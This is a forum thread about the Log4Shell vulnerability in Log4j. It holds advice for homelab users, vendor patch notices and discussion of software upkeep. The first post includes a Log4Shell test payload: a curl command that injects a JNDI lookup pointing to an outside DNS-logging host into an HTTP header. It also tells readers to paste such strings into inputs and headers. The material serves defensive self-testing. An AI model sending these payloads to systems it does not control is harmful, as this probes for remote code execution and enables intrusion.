PSA: log4j Javageddon - sanity check on your homelab apps

hwzlite

Master Member
Joined
Jan 27, 2007
Messages
3,044
Reaction score
3,167
Comprehensive write-out @ Zero Day in Ubiquitous Apache Log4j Tool Under Active Attack 😂


Excellence video coverage by Lawrence:





If-In-Doubt-Sanity Check Cheatsheet :

How to identify if your server is vulnerable.
Using a DNS logger (such as dnslog.cn), you can generate a domain name and use this in your test payloads:

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://xxx.dnslog.cn/a}'
Refreshing the page will show DNS queries which identify hosts who have triggered the vulnerability.

CAUTION
While dnslog.cn has become popular for testing log4shell, we advise caution. When testing sensitive infrastructure, information sent to this site could be used by its owner to catalogue and later exploit it.


If you wish to test more discretely, you may setup your own authoritative DNS server for testing.

This site can help you test whether your applications are vulnerable to Log4Shell (CVE-2021-44228). Here's how to use it:

You simply copy and paste the generated JNDI syntax (the code block ${jndi[:]ldap[:]//.... presented below) into anything (application input boxes, frontend site form fields, logins such as username inputs, or if you are bit more technical, even User-Agent or X-Forwarded-For or other customizable HTTP headers).
Check the results page to see if it received any connection, and verify the detected IP address and timestamp, to correlate with when you tested any service.
If you see an entry, a connection was made and the application you tested is vulnerable.


The presence of JAR files belonging to the log4j library can indicate an application is potentially susceptible to CVE-2021-44228. The specific files to search for should match the following following pattern:

log4j-core-*.jar;
Depending on the installation method, the location of the matching JAR file may also give indications as to which application is potentially vulnerable. For example, on Windows, if the file is located in C:\Program Files\ApplicationName\log4j-core-version.jar it indicates ApplicationName should be investigated. On Linux, the lsof utility can show which processes currently have the JAR file in use and can be run via the following syntax:

lsof /path/to/log4j-core-version.jar;


....Essentially, in the Java world, you can have a JAR nested in a JAR nested in a JAR. This creates many layers that all need to be investigated. Just looking at the JARs your project pulls in directly may not be enough, since Log4j could be hiding inside of another JAR file!

Scan for Log4j with open source tools
There are two open source tools led by Anchore that have the ability to scan a large number of packaged dependency formats, identify their existence, and report if they contain vulnerabilities. In this case being able to scan JAR files, especially nested layers of JAR files, is what we want. Syft generates a software bill of materials (SBOM) and Grype is a vulnerability scanner. Both of these tools are able to inspect multiple nested layers of JAR archives to uncover and identify versions of Log4j.

Am I vulnerable?

The vulnerable versions of Log4j 2 are versions 2.0 to version 2.14.1 inclusive. The first fixed version is 2.15.0. We strongly encourage you to update to the latest version if you can. If you are using a version before 2.0, you are also not vulnerable.

You may not be vulnerable if you are using these versions, as your configuration may already mitigate this (see the Mitigations section below), or the things you log may not include any user input. This may be difficult to validate however without understanding all the code paths that may log in detail, and where they may get input from. So you probably will want to upgrade all code using vulnerable versions.

The configuration for the docker scan command previously shipped in Docker Desktop versions 4.3.0 and earlier unfortunately do not pick up this vulnerability on scans. Please update to Docker Desktop 4.3.1+ with docker scan 0.11.0+, which we released today, 11 December 2021.

If you are using docker scan from Linux you can download binaries from GitHub and install in the plugins directory as explained in the instructions here. We will soon update the Linux CLI version to include the updated docker scan.

 
Last edited:

BradenHeat

Supremacy Member
Joined
Apr 4, 2005
Messages
7,303
Reaction score
1,610
wah lao eh, first theres a insider job now this ? lols

think the founder forgot visit the sunday masses
 

TanKianW

Supremacy Member
Joined
Apr 21, 2005
Messages
6,687
Reaction score
3,330
wah lao eh, first theres a insider job now this ? lols

think the founder forgot visit the sunday masses

Er......Unifi might not be the only major ones affected. The widespread and damage level (on other systems/co) is still too early to tell.

For other systems/co, now no problem doesn't means future got no problem. Some system/co might not even know got such vulnerability, OR worse they know got such vulnerability but choose not to/know how to solve/patch. Unifi at least is solving/patching it right now.

No human system/code is perfect. That is why you need community testing, bounty rewards to help improve/refine.​
 
Last edited:

firesong

Supremacy Member
Deluxe Member
Joined
Jan 17, 2001
Messages
8,630
Reaction score
4,638
wah lao eh, first theres a insider job now this ? lols

think the founder forgot visit the sunday masses
Can't pin this all on Ubiquiti. These are publicly available resources, so it's more on the Apache Log4j team than anyone else.

It's just that everyone using their product is affected. This is the reality of a lot of software engineering. As @TanKianW said, nothing is perfect. The nature of Open Source software without licensing fees means that more of these libraries are going to be leveraged upon in any developed solution. Nobody wants to code everything completely from scratch if they can avoid it. And why pay for something if there's a good working solution available?

What's interesting is that no other developers caught it before the vulnerability made waves in the news outlets.
 

BradenHeat

Supremacy Member
Joined
Apr 4, 2005
Messages
7,303
Reaction score
1,610
ah man, if its just at this level and the larger ones lurking behind , looks like 2022 will be a busy year yet again

for now, would there be ways to isolate and contain ? without performance penalty like those with Intel's specture [ just for e.g ]


how about your end guys

thanks for the insights , lets see


interesting : https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/


:s13: :s13: :ROFLMAO:

https://www.snbforums.com/threads/cve-2021-44228-log4j-rce-0-day.76165/


Er......Unifi might not be the only major ones affected. The widespread and damage level (on other systems/co) is still too early to tell.

For other systems/co, now no problem doesn't means future got no problem. Some system/co might not even know got such vulnerability, OR worse they know got such vulnerability but choose not to/know how to solve/patch. Unifi at least is solving/patching it right now.

No human system/code is perfect. That is why you need community testing, bounty rewards to help improve/refine.​

Can't pin this all on Ubiquiti. These are publicly available resources, so it's more on the Log4j team than anyone else.

It's just that everyone using their product is affected.
 
Last edited:

firesong

Supremacy Member
Deluxe Member
Joined
Jan 17, 2001
Messages
8,630
Reaction score
4,638
ah man, if its just at this level and the larger ones lurking behind , looks like 2022 will be a busy year yet again

for now, would there be ways to isolate and contain ? without performance penalty like those with Intel's specture [ just for e.g ]


how about your end guys

thanks for the insights , lets see
This is why software updates and long term support is important. This situation will blow over as well - be glad that advisories were issued and people have time to patch it before it gets exploited. Back in the 70s-90s, it'll be viral and entire infrastructures and systems go down instead. This is just one that happens to make the news, but it must be stated: many vulnerabilities hit for many products. It's quite impossible to catch them all.

In the nature of software development, bugs are bound to take place. When products span millions of lines of code across tens or hundreds or even thousands of people, it's inevitable that something will go wrong. And when someone fixes something, they could very well break something else. Again that's expected behaviour in any software product.

I hope you can see why having a company's supporting their products for a reasonable time, and providing timely software updates for a reasonably long amount of time (expected lifespan for networking equipment is about 5y, and can be counted on to last 10y in some installations), is very important. You'll probably recall I called out TP-Link's Omada for absolutely horrible software support that disappeared after about 14 months for my old EAP245, after they released a new hardware version they completely ignored their older hardware. Instead, be glad that we will see that Ubiquiti will be working to patch this vulnerability and issue updates to even their their older affected products.
 

BradenHeat

Supremacy Member
Joined
Apr 4, 2005
Messages
7,303
Reaction score
1,610
This is why software updates and long term support is important. This situation will blow over as well - be glad that advisories were issued and people have time to patch it before it gets exploited. Back in the 70s-90s, it'll be viral and entire infrastructures and systems go down instead. This is just one that happens to make the news, but it must be stated: many vulnerabilities hit for many products. It's quite impossible to catch them all.

In the nature of software development, bugs are bound to take place. When products span millions of lines of code across tens or hundreds or even thousands of people, it's inevitable that something will go wrong. And when someone fixes something, they could very well break something else. Again that's expected behaviour in any software product.

I hope you can see why having a company's supporting their products for a reasonable time, and providing timely software updates for a reasonably long amount of time (expected lifespan for networking equipment is about 5y, and can be counted on to last 10y in some installations), is very important. You'll probably recall I called out TP-Link's Omada for absolutely horrible software support that disappeared after about 14 months for my old EAP245, after they released a new hardware version they completely ignored their older hardware. Instead, be glad that we will see that Ubiquiti will be working to patch this vulnerability and issue updates to even their their older affected products.
This coming week is gonna be a field day for all working in the security company and database good luck :s13:

too bad, i really feel [ gut wise ] the number of QC is comparatively worse than years back, i wonder if its just me.

Well at last the accelerated learning and other new tech has allowed bypass and other workarounds, still doesnt give these folks the freepass for such serious issues
 

xiaofan

High Supremacy Member
Joined
Sep 16, 2018
Messages
32,129
Reaction score
9,293
Security is a hot topic now, from Web software to application software to embedded software and firmware development. Now even HW developers need to be more involved as well.

As for open source project, it is tough for smaller projects with limited developers. Many projects are developed by volunteers without corporate sponsorship. I am involved in a few projects as a non-developer admin and I know sometimes it is not easy to support the users when the core developer is busy with real jobs. We have one project which is essential under Linux but also popular under macOS and Windows. Linux support is now pretty mature. macOS support is also okay as the core developer has been around from the very beginning. But Windows is tough now due to lack of developers. For other OS we have to just rely on the occasional contributors.
 

TanKianW

Supremacy Member
Joined
Apr 21, 2005
Messages
6,687
Reaction score
3,330

**Patching UniFi to 6.5.55, to address Log4J CVE-2021-45046 Vulnerability**

Take note that the earlier patch is 6.5.54, this is 6.5.55:
 
Last edited:

TanKianW

Supremacy Member
Joined
Apr 21, 2005
Messages
6,687
Reaction score
3,330
**Ruckus Wireless Information to Log4J CVE-2021-44228 Vulnerability on their products**

Information for users running and deploying Ruckus wireless, smart zones, zone directors and Unleashed controller.​

^
What is the issue?

A vulnerability was found in the Apache Log4j logging library from version 2.0 to 2.14.1. Products utilizing this library are susceptible to remote code execution vulnerability, where a remote attacker can leverage this vulnerability to gain full control of the impacted device. For more details about this vulnerability, please see https://nvd.nist.gov/vuln/detail/CVE-2021-44228.



What action should I take?

RUCKUS is releasing the fix for these vulnerability through a software update. Since it is a critical issue, all affected customers are strongly encouraged to apply the fix once available.


Are there any workarounds available?

No


What is the impact on Ruckus products?

The following products are not vulnerable: All Access Points, ZoneDirector, Unleashed, ICX Switches, SPoT/vSPoT, and RUCKUS Cloud.

The following products are under assessment: Cloudpath, IoT, MobileApps, RUCKUS Analytics, and SCI.
^

Ruckus Security Bulletin:
https://support.ruckuswireless.com/security_bulletins/313

Read more here:
https://forums.ruckuswireless.com/c...701f62612471&replyId=61b71290d8944f34de676edd
 
Last edited:
Important Forum Advisory Note
This forum is moderated by volunteer moderators who will react only to members' feedback on posts. Moderators are not employees or representatives of HWZ. Forum members and moderators are responsible for their own posts.

Please refer to our Community Guidelines and Standards, Terms of Service and Member T&Cs for more information.
Top